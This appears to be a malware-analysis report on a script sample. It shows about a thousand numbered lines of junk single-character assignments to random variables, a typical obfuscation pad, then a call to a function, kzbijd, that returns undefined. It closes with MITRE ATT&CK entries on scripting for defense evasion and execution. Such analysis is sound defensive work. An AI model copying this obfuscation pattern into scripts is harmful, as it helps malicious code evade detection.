516	rmzlarfj = "a";
517	rmzlarfj = "k";
518	rmzlarfj = "I";
519	rmzlarfj = "y";
520	rmzlarfj = "z";
521	rmzlarfj = "V";
522	rmzlarfj = "I";
523	rmzlarfj = "q";
524	rmzlarfj = "j";
525	rmzlarfj = "x";
526	rmzlarfj = "u";
527	rmzlarfj = "O";
528	rmzlarfj = "k";
529	ubomvgs = "z";
530	ubomvgs = "U";
531	ubomvgs = "p";
532	ubomvgs = "c";
533	ubomvgs = "C";
534	ubomvgs = "P";
535	ubomvgs = "x";
536	ubomvgs = "j";
537	ubomvgs = "z";
538	ubomvgs = "H";
539	ubomvgs = "x";
540	ubomvgs = "i";
541	ubomvgs = "U";
542	ubomvgs = "X";
543	ubomvgs = "t";
544	ubomvgs = "j";
545	ubomvgs = "s";
546	ubomvgs = "a";
547	ubomvgs = "H";
548	ubomvgs = "j";
549	ubomvgs = "Z";
550	ubomvgs = "T";
551	ubomvgs = "T";
552	ubomvgs = "V";
553	ubomvgs = "e";
554	ubomvgs = "p";
555	ubomvgs = "P";
556	ubomvgs = "s";
557	fpfhu = "C";
558	fpfhu = "C";
559	fpfhu = "W";
560	fpfhu = "k";
561	fpfhu = "T";
562	fpfhu = "S";
563	fpfhu = "h";
564	fpfhu = "L";
565	fpfhu = "C";
566	fpfhu = "m";
567	fpfhu = "g";
568	fpfhu = "j";
569	fpfhu = "P";
570	fpfhu = "G";
571	fpfhu = "G";
572	fpfhu = "h";
573	fpfhu = "B";
574	fpfhu = "d";
575	fpfhu = "L";
576	fpfhu = "s";
577	fpfhu = "x";
578	fpfhu = "I";
579	fpfhu = "x";
580	fpfhu = "G";
581	fpfhu = "R";
582	fpfhu = "X";
583	fpfhu = "H";
584	fpfhu = "L";
585	fpfhu = "d";
586	fpfhu = "x";
587	fpfhu = "e";
588	fpfhu = "G";
589	fpfhu = "a";
590	fpfhu = "K";
591	fpfhu = "/";
592	kukjeoa = "c";
593	kukjeoa = "y";
594	kukjeoa = "v";
595	kukjeoa = "S";
596	kukjeoa = "N";
597	kukjeoa = "v";
598	kukjeoa = "w";
599	kukjeoa = "G";
600	kukjeoa = "G";
601	kukjeoa = "o";
602	kukjeoa = "P";
603	kukjeoa = "b";
604	kukjeoa = "W";
605	kukjeoa = "U";
606	kukjeoa = "f";
607	kukjeoa = "L";
608	kukjeoa = "T";
609	kukjeoa = "m";
610	kukjeoa = "E";
611	kukjeoa = "J";
612	kukjeoa = "X";
613	kukjeoa = "f";
614	kukjeoa = "g";
615	kukjeoa = "t";
616	kukjeoa = "x";
617	zwpbkr = "e";
618	zwpbkr = "D";
619	zwpbkr = "R";
620	zwpbkr = "T";
621	zwpbkr = "E";
622	zwpbkr = "Y";
623	zwpbkr = "T";
624	zwpbkr = "m";
625	zwpbkr = "N";
626	zwpbkr = "C";
627	zwpbkr = "J";
628	zwpbkr = "l";
629	zwpbkr = "N";
630	zwpbkr = "N";
631	zwpbkr = "r";
632	zwpbkr = "d";
633	zwpbkr = "O";
634	zwpbkr = "d";
635	zwpbkr = "l";
636	zwpbkr = "M";
637	zwpbkr = "b";
638	zwpbkr = "c";
639	zwpbkr = "n";
640	zwpbkr = "U";
641	zwpbkr = "E";
642	zwpbkr = "m";
643	zwpbkr = "y";
644	zwpbkr = "q";
645	zwpbkr = "d";
646	zwpbkr = "k";
647	zwpbkr = "m";
648	zwpbkr = "E";
649	zwpbkr = "e";
650	zwpbkr = "P";
651	zwpbkr = "G";
652	zwpbkr = "c";
653	zwpbkr = "Z";
654	zwpbkr = "t";
655	zwpbkr = "d";
656	zwpbkr = "B";
657	zwpbkr = "M";
658	zwpbkr = "X";
659	zwpbkr = "n";
660	zwpbkr = "S";
661	tklasbv = "X";
662	tklasbv = "U";
663	tklasbv = "x";
664	tklasbv = "D";
665	tklasbv = "Q";
666	tklasbv = "l";
667	tklasbv = "s";
668	tklasbv = "d";
669	tklasbv = "r";
670	tklasbv = "j";
671	tklasbv = "L";
672	tklasbv = "B";
673	tklasbv = "J";
674	tklasbv = "w";
675	tklasbv = "X";
676	tklasbv = "k";
677	tklasbv = "N";
678	tklasbv = "O";
679	tklasbv = "f";
680	tklasbv = "B";
681	tklasbv = "z";
682	tklasbv = "C";
683	tklasbv = "b";
684	tklasbv = "o";
685	tklasbv = "O";
686	tklasbv = "j";
687	tklasbv = "Z";
688	tklasbv = "Y";
689	tklasbv = "l";
690	tklasbv = "o";
691	tklasbv = "B";
692	tklasbv = "I";
693	tklasbv = "v";
694	tklasbv = "h";
695	tklasbv = "A";
696	tklasbv = "G";
697	tklasbv = "n";
698	tklasbv = "h";
699	lyzkikzm = "i";
700	lyzkikzm = "d";
701	lyzkikzm = "R";
702	lyzkikzm = "C";
703	lyzkikzm = "Y";
704	lyzkikzm = "g";
705	lyzkikzm = "W";
706	lyzkikzm = "Q";
707	lyzkikzm = "W";
708	rfixhls = "K";
709	rfixhls = "N";
710	rfixhls = "R";
711	rfixhls = "o";
712	rfixhls = "v";
713	rfixhls = "R";
714	rfixhls = "P";
715	rfixhls = "b";
716	rfixhls = "V";
717	rfixhls = "j";
718	rfixhls = "r";
719	jztee = "U";
720	jztee = "L";
721	jztee = "M";
722	jztee = "l";
723	jztee = "c";
724	jztee = "z";
725	jztee = "i";
726	qtpri = "O";
727	qtpri = "s";
728	qtpri = "o";
729	qtpri = "k";
730	qtpri = "c";
731	qtpri = "Z";
732	qtpri = "k";
733	qtpri = "q";
734	qtpri = "V";
735	qtpri = "V";
736	qtpri = "d";
737	qtpri = "a";
738	qtpri = "m";
739	qtpri = "r";
740	qtpri = "v";
741	qtpri = "v";
742	qtpri = "W";
743	qtpri = "v";
744	qtpri = "x";
745	qtpri = "L";
746	qtpri = "q";
747	qtpri = "F";
748	qtpri = "U";
749	qtpri = "P";
750	qtpri = "f";
751	qtpri = "h";
752	qtpri = "k";
753	qtpri = "a";
754	qtpri = "H";
755	qtpri = "e";
756	qtpri = "I";
757	hepycve = "u";
758	hepycve = "q";
759	hepycve = "H";
760	hepycve = "q";
761	hepycve = "E";
762	hepycve = "g";
763	hepycve = "w";
764	hepycve = "S";
765	hepycve = "v";
766	hepycve = "C";
767	hepycve = "V";
768	hepycve = "Y";
769	hepycve = "n";
770	hepycve = "Q";
771	hepycve = "D";
772	hepycve = "S";
773	hepycve = "d";
774	hepycve = "m";
775	hepycve = "C";
776	hepycve = "n";
777	hepycve = "E";
778	hepycve = "C";
779	hepycve = "T";
780	hepycve = "-";
781	jtccnzsk = "M";
782	jtccnzsk = "L";
783	jtccnzsk = "m";
784	jtccnzsk = "p";
785	jtccnzsk = "z";
786	jtccnzsk = "n";
787	jtccnzsk = "g";
788	jtccnzsk = "t";
789	jtccnzsk = "U";
790	jtccnzsk = "d";
791	jtccnzsk = "C";
792	jtccnzsk = "z";
793	jtccnzsk = "F";
794	jtccnzsk = "d";
795	jtccnzsk = "U";
796	jtccnzsk = "J";
797	jtccnzsk = "a";
798	jtccnzsk = "t";
799	jtccnzsk = "o";
800	jtccnzsk = "s";
801	jtccnzsk = "t";
802	jtccnzsk = "R";
803	jtccnzsk = "a";
804	jtccnzsk = "V";
805	jtccnzsk = "a";
806	jtccnzsk = "l";
807	jtccnzsk = "j";
808	jtccnzsk = "V";
809	jtccnzsk = "R";
810	jtccnzsk = "E";
811	jtccnzsk = "B";
812	jtccnzsk = "K";
813	jtccnzsk = "x";
814	jtccnzsk = "U";
815	hsnkmenk = "l";
816	hsnkmenk = "c";
817	hsnkmenk = "e";
818	hsnkmenk = "c";
819	hsnkmenk = "f";
820	hsnkmenk = "R";
821	hsnkmenk = "Y";
822	hsnkmenk = "r";
823	hsnkmenk = "I";
824	hsnkmenk = "Q";
825	hsnkmenk = "K";
826	hsnkmenk = "o";
827	hsnkmenk = "J";
828	hsnkmenk = "v";
829	hsnkmenk = "N";
830	hsnkmenk = "q";
831	hsnkmenk = "j";
832	hsnkmenk = "S";
833	hsnkmenk = "C";
834	hsnkmenk = "U";
835	hsnkmenk = "U";
836	hsnkmenk = "d";
837	hsnkmenk = "y";
838	hsnkmenk = "Q";
839	hsnkmenk = "S";
840	hsnkmenk = "g";
841	hsnkmenk = "L";
842	djdoqtl = "I";
843	djdoqtl = "C";
844	djdoqtl = "V";
845	djdoqtl = "r";
846	djdoqtl = "B";
847	djdoqtl = "r";
848	djdoqtl = "c";
849	djdoqtl = "C";
850	djdoqtl = "F";
851	djdoqtl = "h";
852	djdoqtl = "w";
853	djdoqtl = "K";
854	djdoqtl = "T";
855	djdoqtl = "l";
856	djdoqtl = "A";
857	djdoqtl = "s";
858	djdoqtl = "Y";
859	djdoqtl = "W";
860	djdoqtl = "x";
861	djdoqtl = "n";
862	djdoqtl = "a";
863	djdoqtl = "A";
864	djdoqtl = "w";
865	djdoqtl = "v";
866	djdoqtl = "c";
867	djdoqtl = "f";
868	djdoqtl = "Y";
869	djdoqtl = "o";
870	djdoqtl = "%";
871	wegdnp = "L";
872	wegdnp = "j";
873	wegdnp = "k";
874	wegdnp = "y";
875	wegdnp = "P";
876	wegdnp = "x";
877	wegdnp = "I";
878	wegdnp = "i";
879	wegdnp = "N";
880	izxtayum = "R";
881	izxtayum = "b";
882	izxtayum = "E";
883	izxtayum = "m";
884	izxtayum = "y";
885	izxtayum = "m";
886	izxtayum = "m";
887	izxtayum = "j";
888	izxtayum = "b";
889	izxtayum = "I";
890	izxtayum = "f";
891	izxtayum = "A";
892	izxtayum = "H";
893	jxwecielv = "H";
894	jxwecielv = "P";
895	jxwecielv = "F";
896	jxwecielv = "L";
897	jxwecielv = "F";
898	jxwecielv = "k";
899	jxwecielv = "k";
900	jxwecielv = "w";
901	nieoxquo = "s";
902	nieoxquo = "a";
903	nieoxquo = "Z";
904	nieoxquo = "F";
905	nieoxquo = "K";
906	nieoxquo = "m";
907	nieoxquo = "P";
908	nieoxquo = "a";
909	nieoxquo = "P";
910	nieoxquo = "n";
911	nieoxquo = "R";
912	nieoxquo = "W";
913	nieoxquo = "A";
914	nieoxquo = "P";
915	nieoxquo = "k";
916	nieoxquo = "S";
917	nieoxquo = "r";
918	nieoxquo = "p";
919	nieoxquo = "g";
920	nieoxquo = "C";
921	nieoxquo = "J";
922	nieoxquo = "y";
923	nieoxquo = "h";
924	nieoxquo = "q";
925	nieoxquo = "w";
926	nieoxquo = "k";
927	nieoxquo = "v";
928	nieoxquo = "m";
929	aaomh = "l";
930	aaomh = "c";
931	aaomh = "X";
932	aaomh = "J";
933	aaomh = "j";
934	aaomh = "n";
935	aaomh = "h";
936	aaomh = "S";
937	aaomh = "d";
938	aaomh = "o";
939	aaomh = "J";
940	aaomh = "c";
941	aaomh = "B";
942	aaomh = "e";
943	aaomh = "K";
944	aaomh = "y";
945	aaomh = "l";
946	aaomh = "F";
947	aaomh = "d";
948	aaomh = "Z";
949	aaomh = "t";
950	aaomh = "p";
951	aaomh = "r";
952	aaomh = "p";
953	aaomh = "h";
954	aaomh = "d";
955	aaomh = "Q";
956	aaomh = "o";
957	jjmjrm = "H";
958	jjmjrm = "Y";
959	jjmjrm = "k";
960	jjmjrm = "z";
961	jjmjrm = "s";
962	jjmjrm = "y";
963	jjmjrm = "w";
964	jjmjrm = "f";
965	jjmjrm = "J";
966	jjmjrm = "l";
967	jjmjrm = "A";
968	jjmjrm = "g";
969	jjmjrm = "g";
970	jjmjrm = "E";
971	jjmjrm = "X";
972	jjmjrm = "V";
973	jjmjrm = "u";
974	jjmjrm = "N";
975	jjmjrm = "Z";
976	jjmjrm = "U";
977	jjmjrm = "T";
978	jjmjrm = "g";
979	jjmjrm = "Q";
980	jjmjrm = "I";
981	jjmjrm = "r";
982	jjmjrm = "H";
983	jjmjrm = "o";
984	jjmjrm = "M";
985	jjmjrm = "R";
986	jjmjrm = "x";
987	jjmjrm = "h";
988	jjmjrm = "X";
989	jjmjrm = "U";
990	jjmjrm = "G";
991	jjmjrm = "s";
992	jjmjrm = "l";
993	lirnw = "U";
994	lirnw = "v";
995	lirnw = "e";
996	lirnw = "J";
997	lirnw = "j";
998	lirnw = "q";
999	lirnw = "R";
1000	lirnw = "M";
1001	lirnw = "Z";
1002	lirnw = "X";
1003	lirnw = "n";
1004	lirnw = "m";
1005	lirnw = "q";
1006	lirnw = "q";
1007	lirnw = "x";
1008	lirnw = "C";
1009	jibuuen = "D";
1010	jibuuen = "g";
1011	jibuuen = "F";
1012	jibuuen = "o";
1013	jibuuen = "H";
1014	jibuuen = "X";
1015	jibuuen = "i";
1016	jibuuen = "g";
1017	jibuuen = "o";
1018	jibuuen = "K";
1019	jibuuen = "e";
1020	jibuuen = "E";
1021	aarmjukwp = "t";
1022	aarmjukwp = "s";
1023	aarmjukwp = "L";
1024	aarmjukwp = "F";
1025	aarmjukwp = "u";
1026	aarmjukwp = "U";
1027	aarmjukwp = "A";
1028	aarmjukwp = "R";
1029	aarmjukwp = "W";
1030	aarmjukwp = "U";
1031	aarmjukwp = "J";
1032	aarmjukwp = "b";
1033	aarmjukwp = "C";
1034	aarmjukwp = "m";
1035	aarmjukwp = "w";
1036	aarmjukwp = "T";
1037	aarmjukwp = "z";
1038	aarmjukwp = "d";
1039	aarmjukwp = "P";
1040	aarmjukwp = "u";
1041	aarmjukwp = "q";
1042	aarmjukwp = "b";
1043	aarmjukwp = "G";
1044	aarmjukwp = "Q";
1045	aarmjukwp = "S";
1046	aarmjukwp = "M";
1047	aarmjukwp = "W";
1048	aarmjukwp = "B";
1049	aarmjukwp = "M";
1050	aarmjukwp = "q";
1051	aarmjukwp = "w";
1052	aarmjukwp = "d";
1053	aarmjukwp = "A";
1054	aarmjukwp = "D";
1055	aarmjukwp = "q";
1056	aarmjukwp = "V";
1057	aarmjukwp = "F";
1058	aarmjukwp = "Z";
1059	aarmjukwp = "z";
1060	aarmjukwp = "n";
1061	aarmjukwp = "B";
1062	aarmjukwp = "Q";
1063	aarmjukwp = "a";
1064	stukmwzba = "W";
1065	stukmwzba = "N";
1066	stukmwzba = "q";
1067	stukmwzba = "u";
1068	stukmwzba = "X";
1069	stukmwzba = "2";
1070	orktiftab = "X";
1071	orktiftab = "J";
1072	orktiftab = "G";
1073	orktiftab = "Y";
1074	orktiftab = "z";
1075	orktiftab = "B";
1076	orktiftab = "E";
1077	orktiftab = "&";
1078	aacefndhk = "S";
1079	aacefndhk = "X";
1080	aacefndhk = "d";
1081	aacefndhk = "F";
1082	aacefndhk = "F";
1083	aacefndhk = "E";
1084	aacefndhk = "j";
1085	aacefndhk = "x";
1086	aacefndhk = "z";
1087	aacefndhk = "c";
1088	aacefndhk = "d";
1089	aacefndhk = "I";
1090	aacefndhk = "F";
1091	aacefndhk = "i";
1092	aacefndhk = "m";
1093	aacefndhk = "U";
1094	aacefndhk = "C";
1095	aacefndhk = "c";
1096	aacefndhk = "V";
1097	aacefndhk = "J";
1098	aacefndhk = "o";
1099	aacefndhk = "R";
1100	aacefndhk = "V";
1101	aacefndhk = "v";
1102	aacefndhk = "A";
1103	aacefndhk = "c";
1104	aacefndhk = "d";
1105	aacefndhk = "f";
1106	aacefndhk = "h";
1107	aacefndhk = "g";
1108	otbxr = "t";
1109	otbxr = "p";
1110	otbxr = "S";
1111	otbxr = "X";
1112	otbxr = "k";
1113	otbxr = "B";
1114	otbxr = "l";
1115	otbxr = "Q";
1116	otbxr = "f";
1117	otbxr = "I";
1118	otbxr = "V";
1119	otbxr = "m";
1120	otbxr = "c";
1121	otbxr = "t";
1122	otbxr = "E";
1123	otbxr = "u";
1124	otbxr = "P";
1125	otbxr = "\\";
1126	emicrw = "v";
1127	emicrw = "n";
1128	emicrw = "e";
1129	emicrw = "n";
1130	emicrw = "I";
1131	emicrw = "L";
1132	emicrw = "k";
1133	emicrw = "z";
1134	emicrw = "f";
1135	emicrw = "W";
1136	emicrw = "l";
1137	emicrw = "P";
1138	emicrw = "l";
1139	emicrw = "c";
1140	emicrw = "V";
1141	emicrw = "W";
1142	emicrw = "D";
1143	emicrw = "v";
1144	emicrw = "h";
1145	emicrw = "l";
1146	emicrw = "g";
1147	emicrw = "Y";
1148	emicrw = "f";
1149	emicrw = "v";
1150	emicrw = "E";
1151	emicrw = "y";
1152	emicrw = "F";
1153	emicrw = "E";
1154	emicrw = "R";
1155	emicrw = "v";
1156	ghmxnscbx = "v";
1157	ghmxnscbx = "L";
1158	ghmxnscbx = "F";
1159	ghmxnscbx = "p";
1160	ghmxnscbx = "V";
1161	ghmxnscbx = "a";
1162	ghmxnscbx = "R";
1163	ghmxnscbx = "W";
1164	ghmxnscbx = "d";
1165	ghmxnscbx = "K";
1166	ghmxnscbx = "C";
1167	ghmxnscbx = "s";
1168	ghmxnscbx = "M";
1169	ghmxnscbx = "j";
1170	ghmxnscbx = "k";
1171	ghmxnscbx = "j";
1172	ghmxnscbx = "k";
1173	ghmxnscbx = "O";
1174	ghmxnscbx = "b";
1175	ghmxnscbx = "l";
1176	ghmxnscbx = "S";
1177	ghmxnscbx = "l";
1178	ghmxnscbx = "E";
1179	ghmxnscbx = "e";
1180	ghmxnscbx = "p";
1181	ghmxnscbx = "J";
1182	ghmxnscbx = "w";
1183	ghmxnscbx = "m";
1184	ghmxnscbx = "Y";
1185	ghmxnscbx = "p";
1186	ghmxnscbx = "r";
1187	ghmxnscbx = "C";
1188	ghmxnscbx = "I";
1189	ghmxnscbx = "z";
1190	ghmxnscbx = "l";
1191	ghmxnscbx = ":";
1192	kblfw = "w";
1193	kblfw = "K";
1194	kblfw = "E";
1195	kblfw = "f";
1196	kblfw = "F";
1197	kblfw = "n";
1198	kblfw = "f";
1199	kblfw = "H";
1200	kblfw = "I";
1201	kblfw = "E";
1202	kblfw = "s";
1203	kblfw = "B";
1204	kblfw = "z";
1205	kblfw = "U";
1206	kblfw = "o";
1207	kblfw = "K";
1208	kblfw = "U";
1209	kblfw = "o";
1210	kblfw = "U";
1211	kblfw = "D";
1212	kblfw = "Q";
1213	kblfw = "T";
1214	kblfw = "y";
1215	kblfw = "D";
1216	kblfw = "r";
1217	kblfw = "Y";
1218	ncsntfcws = "b";
1219	ncsntfcws = "p";
1220	ncsntfcws = "j";
1221	ncsntfcws = "G";
1222	ncsntfcws = "g";
1223	ncsntfcws = "D";
1224	ncsntfcws = "G";
1225	ncsntfcws = "d";
1226	ncsntfcws = "K";
1227	ncsntfcws = "I";
1228	ncsntfcws = "d";
1229	ncsntfcws = "M";
1230	ncsntfcws = "U";
1231	ncsntfcws = "g";
1232	ncsntfcws = "j";
1233	ncsntfcws = "Q";
1234	ncsntfcws = "c";
1235	ncsntfcws = "f";
1236	ncsntfcws = "J";
1237	ncsntfcws = "p";
1238	ncsntfcws = "H";
1239	ncsntfcws = "c";
1240	ncsntfcws = "S";
1241	ncsntfcws = "u";
1242	ncsntfcws = "m";
1243	ncsntfcws = "X";
1244	ncsntfcws = "G";
1245	ncsntfcws = "i";
1246	ncsntfcws = "q";
1247	ncsntfcws = "W";
1248	ncsntfcws = "O";
1249	ncsntfcws = "Q";
1250	ncsntfcws = "c";
1251	ncsntfcws = "D";
1252	ncsntfcws = "V";
1253	ncsntfcws = "i";
1254	ncsntfcws = "Y";
1255	ncsntfcws = "m";
1256	ncsntfcws = "e";
1257	ncsntfcws = "t";
1258	ncsntfcws = "F";
1259	ncsntfcws = "D";
1260	ncsntfcws = "P";
1261	ncsntfcws = " ";
1262	mzacrkfo = "t";
1263	mzacrkfo = "_";
1264	xulyyaqdp = "u";
1265	xulyyaqdp = "g";
1266	xulyyaqdp = "m";
1267	xulyyaqdp = "u";
1268	xulyyaqdp = "c";
1269	xulyyaqdp = "G";
1270	xulyyaqdp = "n";
1271	xulyyaqdp = "N";
1272	xulyyaqdp = "e";
1273	xulyyaqdp = "d";
1274	xulyyaqdp = "y";
1275	xulyyaqdp = "y";
1276	xulyyaqdp = "S";
1277	xulyyaqdp = "Z";
1278	xulyyaqdp = "o";
1279	xulyyaqdp = "X";
1280	xulyyaqdp = "O";
1281	mbqccp = "w";
1282	mbqccp = "q";
1283	mbqccp = "M";
1284	mbqccp = "O";
1285	mbqccp = "S";
1286	mbqccp = "l";
1287	mbqccp = "T";
1288	mbqccp = "m";
1289	mbqccp = "n";
1290	mbqccp = "t";
1291	mbqccp = "Z";
1292	mbqccp = "w";
1293	mbqccp = "b";
1294	mbqccp = "R";
1295	mbqccp = "L";
1296	mbqccp = "s";
1297	mbqccp = "a";
1298	mbqccp = "q";
1299	mbqccp = "E";
1300	mbqccp = "t";
1301	mbqccp = "A";
1302	mbqccp = "k";
1303	mbqccp = "f";
1304	mbqccp = "E";
1305	mbqccp = "I";
1306	mbqccp = "N";
1307	mbqccp = "k";
1308	mbqccp = "f";
1309	mbqccp = "q";
1310	mbqccp = "M";
1311	mbqccp = "L";
1312	mbqccp = "G";
1313	mbqccp = "D";
1314	mbqccp = "D";
1315	mbqccp = "\"";
1316	jdkcnvzf = "N";
1317	jdkcnvzf = "o";
1318	jdkcnvzf = "h";
1319	jdkcnvzf = "x";
1320	jdkcnvzf = "T";
1321	jdkcnvzf = "r";
1322	jdkcnvzf = "Q";
1323	jdkcnvzf = "U";
1324	jdkcnvzf = "u";
1325	jdkcnvzf = "x";
1326	jdkcnvzf = "m";
1327	jdkcnvzf = "k";
1328	jdkcnvzf = "L";
1329	jdkcnvzf = "T";
1330	jdkcnvzf = "M";
1331	jdkcnvzf = "W";
1332	jdkcnvzf = "i";
1333	jdkcnvzf = "j";
1334	jdkcnvzf = "k";
1335	jdkcnvzf = "D";
1336	jdkcnvzf = "e";
1337	jdkcnvzf = "d";
1338	jdkcnvzf = "O";
1339	jdkcnvzf = "Q";
1340	jdkcnvzf = "k";
1341	jdkcnvzf = "g";
1342	jdkcnvzf = "Q";
1343	jdkcnvzf = "v";
1344	jdkcnvzf = "l";
1345	jdkcnvzf = "y";
1346	jdkcnvzf = "W";
1347	jdkcnvzf = "q";
1348	jdkcnvzf = "x";
1349	jdkcnvzf = "Q";
1350	jdkcnvzf = "j";
1351	jdkcnvzf = "r";
1352	jdkcnvzf = "Y";
1353	jdkcnvzf = "T";
1354	jdkcnvzf = "K";
1355	jdkcnvzf = "v";
1356	jdkcnvzf = "A";
1357	jdkcnvzf = "p";
1358	jdkcnvzf = "7";
1359	wnxgbqufl = "F";
1360	wnxgbqufl = "n";
1361	wnxgbqufl = "l";
1362	wnxgbqufl = "F";
1363	wnxgbqufl = "Q";
1364	waxdpvt = "V";
1365	waxdpvt = "U";
1366	waxdpvt = "Y";
1367	waxdpvt = "M";
1368	waxdpvt = "I";
1369	waxdpvt = "m";
1370	waxdpvt = "c";
1371	waxdpvt = "I";
1372	waxdpvt = "s";
1373	waxdpvt = "A";
1374	waxdpvt = "w";
1375	waxdpvt = "S";
1376	waxdpvt = "y";
1377	waxdpvt = "K";
1378	waxdpvt = "J";
1379	waxdpvt = "z";
1380	waxdpvt = "U";
1381	waxdpvt = "k";
1382	waxdpvt = "N";
1383	waxdpvt = "W";
1384	waxdpvt = "d";
1385	waxdpvt = "Q";
1386	waxdpvt = "B";
1387	waxdpvt = "p";
1388	waxdpvt = "D";
1389	waxdpvt = "y";
1390	waxdpvt = "e";
1391	waxdpvt = "K";
1392	waxdpvt = "V";
1393	waxdpvt = "d";
1394	waxdpvt = "c";
1395	waxdpvt = "Z";
1396	waxdpvt = "f";
1397	waxdpvt = "c";
1398	waxdpvt = "W";
1399	waxdpvt = "e";
1400	vzgueeoh = "T";
1401	vzgueeoh = "E";
1402	vzgueeoh = "o";
1403	vzgueeoh = "l";
1404	vzgueeoh = "l";
1405	vzgueeoh = "n";
1406	vzgueeoh = "a";
1407	vzgueeoh = "o";
1408	vzgueeoh = "Q";
1409	vzgueeoh = "U";
1410	vzgueeoh = "v";
1411	vzgueeoh = "O";
1412	vzgueeoh = "w";
1413	vzgueeoh = "m";
1414	vzgueeoh = "I";
1415	vzgueeoh = "N";
1416	vzgueeoh = "m";
1417	vzgueeoh = "a";
1418	vzgueeoh = "l";
1419	vzgueeoh = "F";
1420	vzgueeoh = "y";
1421	vzgueeoh = "j";
1422	vzgueeoh = "t";
1423	vzgueeoh = "X";
1424	vzgueeoh = "B";
1425	vzgueeoh = "m";
1426	vzgueeoh = "E";
1427	vzgueeoh = "J";
1428	vzgueeoh = "s";
1429	vzgueeoh = "M";
1430	vzgueeoh = "c";
1431	vzgueeoh = "X";
1432	vzgueeoh = "m";
1433	vzgueeoh = "U";
1434	vzgueeoh = "c";
1435	vzgueeoh = "V";
1436	vzgueeoh = "T";
1437	vzgueeoh = "R";
1438	vzgueeoh = "y";
1439	vzgueeoh = "0";
1440	cdhcj = "v";
1441	cdhcj = "q";
1442	cdhcj = "C";
1443	cdhcj = "s";
1444	cdhcj = "v";
1445	cdhcj = "g";
1446	cdhcj = "Y";
1447	cdhcj = "A";
1448	cdhcj = "C";
1449	cdhcj = "S";
1450	cdhcj = "y";
1451	cdhcj = "G";
1452	cdhcj = "u";
1453	cdhcj = "z";
1454	cdhcj = "n";
1455	cdhcj = "u";
1456	cdhcj = "z";
1457	cdhcj = "Y";
1458	cdhcj = "H";
1459	cdhcj = "e";
1460	cdhcj = "j";
1461	cdhcj = "U";
1462	cdhcj = "F";
1463	cdhcj = "x";
1464	cdhcj = "N";
1465	cdhcj = "o";
1466	cdhcj = "A";
1467	cdhcj = "h";
1468	cdhcj = "n";
1469	cdhcj = "O";
1470	cdhcj = "U";
1471	cdhcj = "A";
1472	cdhcj = "B";
1473	cdhcj = "e";
1474	cdhcj = "k";
1475	cdhcj = "x";
1476	cdhcj = "a";
1477	cdhcj = "U";
1478	cdhcj = "K";
1479	cdhcj = "S";
1480	cdhcj = "m";
1481	cdhcj = "s";
1482	cdhcj = "k";
1483	cdhcj = "d";
1484	timwjtjd = "K";
1485	timwjtjd = "L";
1486	timwjtjd = "p";
1487	timwjtjd = "h";
1488	timwjtjd = "w";
1489	timwjtjd = "r";
1490	timwjtjd = "x";
1491	timwjtjd = "J";
1492	timwjtjd = "y";
1493	timwjtjd = "n";
1494	timwjtjd = "w";
1495	timwjtjd = "z";
1496	timwjtjd = "X";
1497	timwjtjd = "g";
1498	timwjtjd = "w";
1499	timwjtjd = "g";
1500	timwjtjd = "Q";
1501	timwjtjd = "C";
1502	timwjtjd = "z";
1503	timwjtjd = "u";
1504	timwjtjd = "P";
1505	timwjtjd = "W";
1506	timwjtjd = "h";
1507	timwjtjd = "e";
1508	timwjtjd = "b";
1509	timwjtjd = "L";
1510	timwjtjd = "w";
1511	timwjtjd = "C";
1512	timwjtjd = "p";
1513	pjzaifgfy = "D";
1514	pjzaifgfy = "m";
1515	pjzaifgfy = "h";
1516	pjzaifgfy = "E";
1517	pjzaifgfy = "K";
1518	pjzaifgfy = "g";
1519	pjzaifgfy = "h";
1520	pjzaifgfy = "s";
1521	pjzaifgfy = "K";
1522	pjzaifgfy = "A";
1523	pjzaifgfy = "N";
1524	pjzaifgfy = "a";
1525	pjzaifgfy = "d";
1526	pjzaifgfy = "a";
1527	pjzaifgfy = "J";
1528	pjzaifgfy = "a";
1529	pjzaifgfy = "u";
1530	pjzaifgfy = "v";
1531	pjzaifgfy = "G";
1532	pjzaifgfy = "m";
1533	pjzaifgfy = "l";
1534	pjzaifgfy = "W";
1535	pjzaifgfy = "k";
1536	pjzaifgfy = "8";
1537	fzmrshbw = "k";
1538	fzmrshbw = "G";
1539	fzmrshbw = "a";
1540	fzmrshbw = "K";
1541	fzmrshbw = "p";
1542	fzmrshbw = "a";
1543	fzmrshbw = "K";
1544	fzmrshbw = "K";
1545	fzmrshbw = "U";
1546	fzmrshbw = "D";
1547	fzmrshbw = "P";
1548	fzmrshbw = "a";
1549	fzmrshbw = "J";
1550	fzmrshbw = "p";
1551	fzmrshbw = "u";
1552	fzmrshbw = "E";
1553	fzmrshbw = "a";
1554	fzmrshbw = "X";
1555	fzmrshbw = "q";
1556	fzmrshbw = "z";
1557	fzmrshbw = "R";
1558	fzmrshbw = "E";
1559	fzmrshbw = "z";
1560	fzmrshbw = "e";
1561	fzmrshbw = "A";
1562	fzmrshbw = "Q";
1563	fzmrshbw = "J";
1564	fzmrshbw = "v";
1565	fzmrshbw = "F";
1566	fzmrshbw = "w";
1567	fzmrshbw = "V";
1568	fzmrshbw = "p";
1569	fzmrshbw = "j";
1570	fzmrshbw = "F";
1571	awmeaqi = "K";
1572	awmeaqi = "p";
1573	awmeaqi = "U";
1574	awmeaqi = "O";
1575	awmeaqi = "R";
1576	awmeaqi = "x";
1577	awmeaqi = "A";
1578	awmeaqi = "k";
1579	awmeaqi = "A";
1580	awmeaqi = "v";
1581	awmeaqi = "m";
1582	awmeaqi = "J";
1583	awmeaqi = "P";
1584	awmeaqi = "9";
1585	mnxvdmy = "r";
1586	mnxvdmy = "P";
1587	mnxvdmy = "y";
1588	mnxvdmy = "f";
1589	mnxvdmy = "Z";
1590	mnxvdmy = "K";
1591	mnxvdmy = "S";
1592	mnxvdmy = "H";
1593	mnxvdmy = "I";
1594	mnxvdmy = "N";
1595	mnxvdmy = "f";
1596	kzbijd ( );	kzbijd() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
